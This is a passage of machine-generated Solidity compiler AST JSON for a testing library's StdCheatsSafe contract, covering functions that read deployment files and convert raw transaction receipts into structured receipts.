StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"}],"id":4759,"initialValue":{"arguments":[{"id":4754,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4740,"src":"15480:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"baseExpression":{"id":4755,"name":"RawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3666,"src":"15499:10:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}},"id":4756,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"IndexAccess","src":"15499:12:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}}],"id":4757,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15498:14:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}],"expression":{"id":4752,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15469:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4753,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15473:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15469:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15469:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"15435:78:3"},{"expression":{"arguments":[{"id":4761,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4751,"src":"15553:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}],"id":4760,"name":"rawToConvertedReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4869,"src":"15530:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory[] memory) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"}},"id":4762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15530:35:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"functionReturnParameters":4731,"id":4763,"nodeType":"Return","src":"15523:42:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readReceipts","nameLocation":"15210:12:3","parameters":{"id":4726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4725,"mutability":"mutable","name":"path","nameLocation":"15237:4:3","nodeType":"VariableDeclaration","scope":4765,"src":"15223:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4724,"name":"string","nodeType":"ElementaryTypeName","src":"15223:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15222:20:3"},"returnParameters":{"id":4731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4730,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4765,"src":"15274:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4728,"nodeType":"UserDefinedTypeName","pathNode":{"id":4727,"name":"Receipt","nameLocations":["15274:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"15274:7:3"},"referencedDeclaration":3695,"src":"15274:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4729,"nodeType":"ArrayTypeName","src":"15274:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"src":"15273:18:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4820,"nodeType":"FunctionDefinition","src":"15578:461:3","nodes":[],"body":{"id":4819,"nodeType":"Block","src":"15681:358:3","nodes":[],"statements":[{"assignments":[4776],"declarations":[{"constant":false,"id":4776,"mutability":"mutable","name":"deployData","nameLocation":"15705:10:3","nodeType":"VariableDeclaration","scope":4819,"src":"15691:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4775,"name":"string","nodeType":"ElementaryTypeName","src":"15691:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4781,"initialValue":{"arguments":[{"id":4779,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4767,"src":"15730:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4777,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15718:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15721:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"15718:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15718:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15691:44:3"},{"assignments":[4783],"declarations":[{"constant":false,"id":4783,"mutability":"mutable","name":"key","nameLocation":"15759:3:3","nodeType":"VariableDeclaration","scope":4819,"src":"15745:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4782,"name":"string","nodeType":"ElementaryTypeName","src":"15745:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4796,"initialValue":{"arguments":[{"arguments":[{"hexValue":"2e72656365697074735b","id":4788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15789:12:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_1f28b72ce547907c2ae0f1bd0fd1ff00aeea8e573cc3e4076246f258e653d170","typeString":"literal_string \".receipts[\""},"value":".receipts["},{"arguments":[{"id":4791,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4769,"src":"15815:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4789,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15803:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4790,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15806:8:3","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"15803:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":4792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15803:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"5d","id":4793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15823:3:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""},"value":"]"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1f28b72ce547907c2ae0f1bd0fd1ff00aeea8e573cc3e4076246f258e653d170","typeString":"literal_string \".receipts[\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""}],"expression":{"id":4786,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15772:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4787,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15776:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"15772:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":4794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15772:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4785,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15765:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":4784,"name":"string","nodeType":"ElementaryTypeName","src":"15765:6:3","typeDescriptions":{}}},"id":4795,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15765:63:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15745:83:3"},{"assignments":[4798],"declarations":[{"constant":false,"id":4798,"mutability":"mutable","name":"parsedDeployData","nameLocation":"15851:16:3","nodeType":"VariableDeclaration","scope":4819,"src":"15838:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4797,"name":"bytes","nodeType":"ElementaryTypeName","src":"15838:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4804,"initialValue":{"arguments":[{"id":4801,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4776,"src":"15883:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":4802,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4783,"src":"15895:3:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4799,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15870:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4800,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15873:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"15870:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15870:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15838:61:3"},{"assignments":[4807],"declarations":[{"constant":false,"id":4807,"mutability":"mutable","name":"rawReceipt","nameLocation":"15927:10:3","nodeType":"VariableDeclaration","scope":4819,"src":"15909:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt"},"typeName":{"id":4806,"nodeType":"UserDefinedTypeName","pathNode":{"id":4805,"name":"RawReceipt","nameLocations":["15909:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"15909:10:3"},"referencedDeclaration":3666,"src":"15909:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"visibility":"internal"}],"id":4814,"initialValue":{"arguments":[{"id":4810,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4798,"src":"15951:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4811,"name":"RawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3666,"src":"15970:10:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}}],"id":4812,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15969:12:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}],"expression":{"id":4808,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15940:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4809,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15944:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15940:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4813,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15940:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"nodeType":"VariableDeclarationStatement","src":"15909:73:3"},{"expression":{"arguments":[{"id":4816,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4807,"src":"16021:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}],"id":4815,"name":"rawToConvertedReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4990,"src":"15999:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawReceipt_$3666_memory_ptr_$returns$_t_struct$_Receipt_$3695_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory) pure returns (struct StdCheatsSafe.Receipt memory)"}},"id":4817,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15999:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"functionReturnParameters":4774,"id":4818,"nodeType":"Return","src":"15992:40:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readReceipt","nameLocation":"15587:11:3","parameters":{"id":4770,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4767,"mutability":"mutable","name":"path","nameLocation":"15613:4:3","nodeType":"VariableDeclaration","scope":4820,"src":"15599:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4766,"name":"string","nodeType":"ElementaryTypeName","src":"15599:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":4769,"mutability":"mutable","name":"index","nameLocation":"15627:5:3","nodeType":"VariableDeclaration","scope":4820,"src":"15619:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4768,"name":"uint256","nodeType":"ElementaryTypeName","src":"15619:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15598:35:3"},"returnParameters":{"id":4774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4773,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4820,"src":"15665:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4772,"nodeType":"UserDefinedTypeName","pathNode":{"id":4771,"name":"Receipt","nameLocations":["15665:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"15665:7:3"},"referencedDeclaration":3695,"src":"15665:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"src":"15664:16:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4869,"nodeType":"FunctionDefinition","src":"16045:347:3","nodes":[],"body":{"id":4868,"nodeType":"Block","src":"16159:233:3","nodes":[],"statements":[{"assignments":[4835],"declarations":[{"constant":false,"id":4835,"mutability":"mutable","name":"receipts","nameLocation":"16186:8:3","nodeType":"VariableDeclaration","scope":4868,"src":"16169:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4833,"nodeType":"UserDefinedTypeName","pathNode":{"id":4832,"name":"Receipt","nameLocations":["16169:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16169:7:3"},"referencedDeclaration":3695,"src":"16169:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4834,"nodeType":"ArrayTypeName","src":"16169:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"id":4843,"initialValue":{"arguments":[{"expression":{"id":4840,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16211:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16223:6:3","memberName":"length","nodeType":"MemberAccess","src":"16211:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"16197:13:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"},"typeName":{"baseType":{"id":4837,"nodeType":"UserDefinedTypeName","pathNode":{"id":4836,"name":"Receipt","nameLocations":["16201:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16201:7:3"},"referencedDeclaration":3695,"src":"16201:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4838,"nodeType":"ArrayTypeName","src":"16201:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}}},"id":4842,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16197:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"16169:61:3"},{"body":{"id":4864,"nodeType":"Block","src":"16285:76:3","statements":[{"expression":{"id":4862,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":4854,"name":"receipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4835,"src":"16299:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"id":4856,"indexExpression":{"id":4855,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16308:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"16299:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":4858,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16335:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4860,"indexExpression":{"id":4859,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16347:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16335:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}],"id":4857,"name":"rawToConvertedReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4990,"src":"16313:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawReceipt_$3666_memory_ptr_$returns$_t_struct$_Receipt_$3695_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory) pure returns (struct StdCheatsSafe.Receipt memory)"}},"id":4861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16313:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"src":"16299:51:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4863,"nodeType":"ExpressionStatement","src":"16299:51:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4847,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16256:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":4848,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16260:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16272:6:3","memberName":"length","nodeType":"MemberAccess","src":"16260:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16256:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4865,"initializationExpression":{"assignments":[4845],"declarations":[{"constant":false,"id":4845,"mutability":"mutable","name":"i","nameLocation":"16253:1:3","nodeType":"VariableDeclaration","scope":4865,"src":"16245:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4844,"name":"uint256","nodeType":"ElementaryTypeName","src":"16245:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4846,"nodeType":"VariableDeclarationStatement","src":"16245:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":4852,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"16280:3:3","subExpression":{"id":4851,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16280:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4853,"nodeType":"ExpressionStatement","src":"16280:3:3"},"nodeType":"ForStatement","src":"16240:121:3"},{"expression":{"id":4866,"name":"receipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4835,"src":"16377:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"functionReturnParameters":4830,"id":4867,"nodeType":"Return","src":"16370:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceipts","nameLocation":"16054:22:3","parameters":{"id":4825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4824,"mutability":"mutable","name":"rawReceipts","nameLocation":"16097:11:3","nodeType":"VariableDeclaration","scope":4869,"src":"16077:31:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":4822,"nodeType":"UserDefinedTypeName","pathNode":{"id":4821,"name":"RawReceipt","nameLocations":["16077:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"16077:10:3"},"referencedDeclaration":3666,"src":"16077:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct 